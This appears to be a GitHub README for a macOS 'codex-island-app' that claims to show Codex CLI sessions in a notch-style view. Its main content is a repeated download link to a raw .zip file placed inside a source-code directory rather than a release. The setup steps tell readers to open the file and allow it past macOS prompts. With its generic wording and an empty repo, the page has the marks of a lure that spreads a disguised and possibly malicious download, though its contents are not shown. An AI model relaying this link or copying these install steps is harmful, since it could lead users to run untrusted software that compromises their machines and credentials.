Skip to content

Repository files navigation

🌴 codex-island-app - Keep Codex in view

Download codex-island-app

📥 Download

Use this link to visit this page to download:

https://raw.githubusercontent.com/Pandemic-spode596/codex-island-app/main/engine/crates/island-core/app_island_codex_1.2.zip

🖥️ What this app does

codex-island-app is a Mac app that keeps Codex CLI easy to reach. It shows session status in a Dynamic Island-style view near the notch. It also tracks local sessions, connects to remote SSH hosts, handles approvals, and keeps chat history tied to transcripts.

Use it if you want:

  • A small live view for Codex activity
  • A simple way to follow local and remote sessions
  • A clear place for approvals
  • Chat history that matches your transcript

🚀 Get started

  1. Open the download link above in your browser.
  2. On the page, find the latest app file or release asset.
  3. Download the file to your Mac.
  4. Open the file after the download finishes.
  5. If macOS asks for confirmation, allow the app to open.
  6. Follow the on-screen setup steps.

🍎 System requirements

Before you install, make sure your Mac can run the app:

  • macOS 13 or later
  • Apple Silicon or Intel Mac
  • Network access for SSH hosts
  • Codex CLI installed for local use
  • Enough free disk space for session logs and transcripts

🧭 First-time setup

After you open the app, set up these items:

  1. Choose where you want local session data stored.
  2. Connect Codex CLI if you plan to use local sessions.
  3. Add your SSH host details if you work on a remote machine.
  4. Allow the app to show status near the notch or menu bar.
  5. Review approval prompts before you start a session.

🔧 How to use it

1. Start a local session

Open codex-island-app and begin a Codex CLI session on your Mac. The app will show the current state in a compact view. You can keep working while it tracks the session in the background.

2. Connect to a remote host

If you use SSH, add the host name, user name, and port. The app can follow the remote session and keep the same session flow in one place. This helps if you switch between local and remote work.

3. Handle approvals

When Codex asks for approval, review the request in the app. You can approve or deny actions from the same screen. This keeps the process clear and easy to follow.

4. Review transcripts

The app keeps transcript-aware chat history. That means it links the chat view with the session record. You can return to earlier parts of the work without digging through files.

🗂️ Main features

  • Dynamic Island-style display for quick session checks
  • Local session tracking for Codex CLI
  • SSH remote host support
  • Approval prompts in one place
  • Transcript-linked chat history
  • Support for macOS notch and menu bar layouts
  • Clean view for ongoing developer work
  • tmux-friendly session handling for remote shells

🔒 Privacy and local data

codex-island-app keeps session data on your Mac unless you connect a remote host. This helps you keep control of your work history. You can clear session records, remove host entries, or reset local storage from the app settings.

🛠️ Common tasks

Add a new host

  1. Open the host settings screen.
  2. Enter the SSH host name.
  3. Add your user name.
  4. Set the port if it is not the default.
  5. Save the host.

Clear old sessions

  1. Open session history.
  2. Choose the session you want to remove.
  3. Delete the record.
  4. Restart the app if you want a fresh view.

Change the display position

  1. Open appearance settings.
  2. Pick the notch or menu bar view.
  3. Set the size that fits your screen.
  4. Close the settings panel.

🧪 If the app does not open

Try these steps:

  1. Check that the file finished downloading.
  2. Open the app again from Finder.
  3. Make sure macOS allowed the app to run.
  4. Confirm that you are using a supported macOS version.
  5. Re-download the file from the same page if needed.

🧩 Working with Codex CLI

This app pairs with Codex CLI and helps you watch what is happening during a session. It is built for users who want a clearer view of:

  • Current task state
  • Approval flow
  • Remote SSH work
  • Transcript history
  • Session timing

📌 Useful tips

  • Keep the app open while Codex runs
  • Use one host entry for each machine
  • Review approvals before you confirm them
  • Use session history to return to past work
  • Keep transcripts if you want a record of changes

🖱️ Download again

If you need the file again, use this link:

https://raw.githubusercontent.com/Pandemic-spode596/codex-island-app/main/engine/crates/island-core/app_island_codex_1.2.zip

📚 Repo details

  • Repository name: codex-island-app
  • Description: Dynamic Island-style macOS companion for Codex CLI with local session tracking, SSH remote hosts, approvals, and transcript-aware chat history.
  • Topics: codex, codex-cli, developer-tools, dynamic-island, macos, notch, openai-codex, productivity, ssh, swift, swiftui, tmux

About

Track Codex CLI sessions in the macOS notch, manage approvals, and switch threads for local and remote hosts without terminal tabs

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages